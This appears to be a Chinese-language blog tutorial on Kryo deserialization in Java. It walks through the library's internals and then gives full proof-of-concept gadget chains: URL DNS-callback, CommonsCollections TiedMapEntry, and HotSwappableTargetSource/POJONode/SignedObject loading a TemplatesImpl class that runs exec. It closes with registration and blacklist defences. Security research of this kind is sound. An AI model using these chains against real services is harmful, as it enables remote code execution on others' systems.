0%

kryo反序列化

入门kryo

Demo

首先看个简单的demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package org.example;

public class MyClass {
public String hello;
private int num;

@Override
public String toString() {
return "MyClass{" +
"hello='" + hello + '\'' +
", num=" + num +
'}';
}

public String getHello() {
return hello;
}

public void setHello(String hello) {
this.hello = hello;
}

public int getNum() {
return num;
}

public void setNum(int num) {
this.num = num;
}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package org.example;
import com.esotericsoftware.kryo.Kryo;
import com.esotericsoftware.kryo.io.Input;
import com.esotericsoftware.kryo.io.Output;
import java.nio.file.Files;
import java.nio.file.Paths;

public class Test {
public static void main(String[] args) throws Exception {
Kryo kryo = new Kryo();
kryo.register(MyClass.class);
MyClass myClass = new MyClass();
myClass.setHello("Hello Kryo");
myClass.setNum(11);

Output output = new Output(Files.newOutputStream(Paths.get("file.bin")));
kryo.writeObject(output, myClass);
output.close();

Input input = new Input(Files.newInputStream(Paths.get("file.bin")));
MyClass obj = kryo.readObject(input, MyClass.class);
input.close();
System.out.println(obj);
}
}

3种序列化与反序列化

如果是知道序列化类型,并且不为空

1
2
kryo.writeObject(output, object);
SomeClass object = kryo.readObject(input, SomeClass.class);

如果是知道序列化类型,并且有可能为空
1
2
kryo.writeObjectOrNull(output, object);
SomeClass object = kryo.readObjectOrNull(input, SomeClass.class);

如果都是不确定的
1
2
3
4
5
kryo.writeClassAndObject(output, object);
Object object = kryo.readClassAndObject(input);
if (object instanceof SomeClass) {
// ...
}

kryo注册

当不知道序列化的类是什么的时候可以不用注册,一般是为了提高反序列化的效率启用这种注册功能。

1
2
3
4
5
Kryo kryo = new Kryo();
kryo.register(SomeClass.class);
Output output = ...
SomeClass object = ...
kryo.writeObject(output, object);
1
2
3
4
Kryo kryo = new Kryo();
kryo.register(SomeClass.class, 9);
kryo.register(AnotherClass.class, 10);
kryo.register(YetAnotherClass.class, 11);

看到上面两段代码,第一个没有id,他会自动给你分配id,后面那段是在参数中提供id,这个id在序列化和反序列化的时候要保持一致,不能用9的去反序列化10的

序列化

首先获取前面获取的register

然后就开始写入序列化数据

最后会根据serializer类型写入序列化数据,在这里的serializer就是string类型的

更加详细的就不说了,还是得自己调试才行,总体流程就是

  • 获取registration
  • 获取filed,进行filed.write
  • 在write中获取相对应的serializer
  • 调用serializer.write,进行最后的写入

反序列化

反序列化的流程与序列化基本一致,只不过就是把write改为了read
当反序列化的类型为一个Object类型的时候,可以看到如下的过程,先创建一个Object的实例,接着循环把成员变量那些给赋值上

看看Create中的实现

他主要有几个步骤

  • 获取到无参构造
  • 如果是private类型,就先让他变成可以访问的 -> ctor.setAccessible(true);
  • 调用无参构造函数,并返回该实例

但是有些利用链可能没有无参构造这时候应该怎么办
看到官网

The Objenesis StdInstantiatorStrategy uses JVM specific APIs to create an instance of a class without calling any constructor at all. Using this is dangerous because most classes expect their constructors to be called.
kryo.setInstantiatorStrategy(new DefaultInstantiatorStrategy(new StdInstantiatorStrategy()));
当设置这个策略的时候会不调用任何的构造函数

常用调用链

常用的调用链基本是因为HashMap.put中,会调用到key的equals方法和hashcode方法,而key又是我们可控的,这时候就可以进行一些常规的调用链利用了

首先看到他先反序列化了key,接着反序列化了value,最后进行了put操作

hashCode利用


可以看到hash中触发了key的hashcode方法

URL

首先是最简单的URL利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
package org.example;
import com.esotericsoftware.kryo.Kryo;
import com.esotericsoftware.kryo.io.Input;
import com.esotericsoftware.kryo.io.Output;

import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.net.URI;
import java.net.URL;
import java.net.URLStreamHandler;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;

public class Test {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public static void main(String[] args) throws Exception {
Kryo kryo = new Kryo();
kryo.setRegistrationRequired(false);
HashMap<Object, Object> s = new HashMap<>();
setFieldValue(s, "size", 1);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);

URL v2 = new URL("http://x.xxx.tu4.org");
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v2, 0, null));
setFieldValue(s, "table", tbl);

Output output = new Output(Files.newOutputStream(Paths.get("file.bin")));
kryo.writeClassAndObject(output,s);
output.close();
Input input = new Input(Files.newInputStream(Paths.get("file.bin")));
Object obj = kryo.readClassAndObject(input);
}
}

具体就不分析了,就是会触发URL.hashcode最后触发dnslog

TiedMapEntry

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
package org.example;

import com.esotericsoftware.kryo.Kryo;
import com.esotericsoftware.kryo.io.Input;
import com.esotericsoftware.kryo.io.Output;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.objenesis.strategy.StdInstantiatorStrategy;

import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

import static org.example.Test.setFieldValue;

public class Main {
public static void main(String[] args) throws Exception {
Kryo kryo = new Kryo();

kryo.setRegistrationRequired(false);
kryo.setInstantiatorStrategy(new StdInstantiatorStrategy());

Transformer[] transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a Calculator"})
};
ChainedTransformer ct = new ChainedTransformer(transformer);

Map innermap = new HashMap();
Map lazymap = LazyMap.decorate(innermap,new ConstantTransformer(0));
HashMap mp = new HashMap();

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"lsf");
lazymap.clear();
Field field = LazyMap.class.getDeclaredField("factory");
field.setAccessible(true);
field.set(lazymap,ct);

HashMap<Object, Object> s = new HashMap<>();
setFieldValue(s, "size", 1);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);

Object v2 = tiedMapEntry;
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v2, v2, null));
setFieldValue(s, "table", tbl);

Output output = new Output(Files.newOutputStream(Paths.get("file.bin")));
kryo.writeClassAndObject(output,s);
output.close();
Input input = new Input(Files.newInputStream(Paths.get("file.bin")));
Object obj = kryo.readClassAndObject(input);
}
}

按理来说应该是可以触发的,但是设置了
new StdInstantiatorStrategy()
反序列化的create方法会把TiedMapEntry中的map变量名认成是value

导致无法利用

equals

首先要触发到equals必须要有两个元素(node),而且该元素必须是同一类的,来看看HashMap的putVal源码看看为什么

如果两个类都不是同一个类,就会直接进入到该if当中,而不会执行下面的equals。
接下来看看具体的代码

HotSwappableTargetSource

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
package org.example;
import com.esotericsoftware.kryo.Kryo;
import com.esotericsoftware.kryo.io.Input;
import com.esotericsoftware.kryo.io.Output;
import com.fasterxml.jackson.databind.node.POJONode;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xpath.internal.objects.XString;
import com.sun.rowset.JdbcRowSetImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javassist.CtNewConstructor;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.objenesis.strategy.StdInstantiatorStrategy;
import org.springframework.aop.target.HotSwappableTargetSource;
import org.springframework.aop.target.HotSwappableTargetSource;
import org.springframework.integration.codec.CodecMessageConverter;
import org.springframework.integration.codec.kryo.MessageCodec;
import org.springframework.messaging.Message;
import org.springframework.messaging.MessageHeaders;
import org.springframework.messaging.support.GenericMessage;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.net.URI;
import java.net.URL;
import java.net.URLStreamHandler;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.*;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class Test {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

public static void main(String[] args) throws Exception {

Kryo kryo = new Kryo();

kryo.setRegistrationRequired(false);
kryo.setInstantiatorStrategy(new StdInstantiatorStrategy());
// 二次反序列化
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("EvilGeneratedByJavassist");
ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
CtConstructor ctConstructor = CtNewConstructor.make("public EvilGeneratedByJavassist(){Runtime.getRuntime().exec(\"open -a calculator\");}", ctClass);
ctClass.addConstructor(ctConstructor);
byte[] byteCode = ctClass.toBytecode();

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "whatever");
setFieldValue(templates, "_bytecodes", new byte[][]{byteCode});

POJONode pojoNode1 = new POJONode(templates);

// 初始化 SignedObject
KeyPairGenerator keyPairGenerator;
keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
// 设置二次反序列化入口
SignedObject signedObject = new SignedObject(pojoNode1, privateKey, signingEngine);

// 一次反序列化
POJONode pojoNode2 = new POJONode(signedObject);
HotSwappableTargetSource h1 = new HotSwappableTargetSource(pojoNode2);
HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("s"));
Output output = new Output(Files.newOutputStream(Paths.get("file.bin")));

HashMap hashMap = new HashMap();
setFieldValue(hashMap, "size", 2);
Class nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, h1, h1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, h2, h2, null));
setFieldValue(hashMap, "table", tbl);

Output s = new Output(Files.newOutputStream(Paths.get("file.bin")));
kryo.writeClassAndObject(s,hashMap);
s.close();
Input input = new Input(Files.newInputStream(Paths.get("file.bin")));
Object obj = kryo.readClassAndObject(input);
}
}

利用链是
HotSwappableTargetSource.equals->XString.equals->POJONode.toString->SignedObject.getObject->POJONode.toString->getOutputProperties
可能有人会好奇为什么要绕一大圈调用两个POJONode.toString才能执行,直接调用最后那个不就行了吗,但是kryo默认是不反序列化transient字段的

所以_tfactory是不会被反序列化的,这样导致POJONode调用getter方法的时候会报错,导致执行不了getOutputProperties

Kryo反序列化Javabean

上面的反序列化都是默认去调用FieldSerializer
但是还有很多其他类型的Serializer,都继承Serializer

这里面第一个就引起了我的注意,很多反序列化链都是通过调用一些JavaBean去触发一些操作的

看到简介,如何使用该Serializer
这里我直接给出简单的demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class Main {
public static void main(String[] args) throws Exception {
Kryo kryo = new Kryo();

kryo.register(MyClass.class,new BeanSerializer(kryo, MyClass.class));

MyClass s = new MyClass();
s.setNum(10);
s.setHello("hello");

Output output = new Output(Files.newOutputStream(Paths.get("file.bin")));
kryo.writeObject(output,s);
output.close();
Input input = new Input(Files.newInputStream(Paths.get("file.bin")));
Object obj = kryo.readObject(input, MyClass.class);
}
}

read and write

先来看看源码


可以发现两个函数都有个

1
2
property.get
property.set


这些就会触发该类的Bean方法
那么其他操作就应该类似于Fastjson里面的那些类了,这里就不在过多叙述了

kryo的防护

1
kryo.setRegistrationRequired(true);

当使用如上代码,那么所有反序列化的类都必须要被注册,才会被反序列化。

1
kryo.addDefaultSerializer(Class,Serializer)

当使用上面的代码,可以增加自己的Serializer,自己实现serializer的时候增加相应的黑名单即可

参考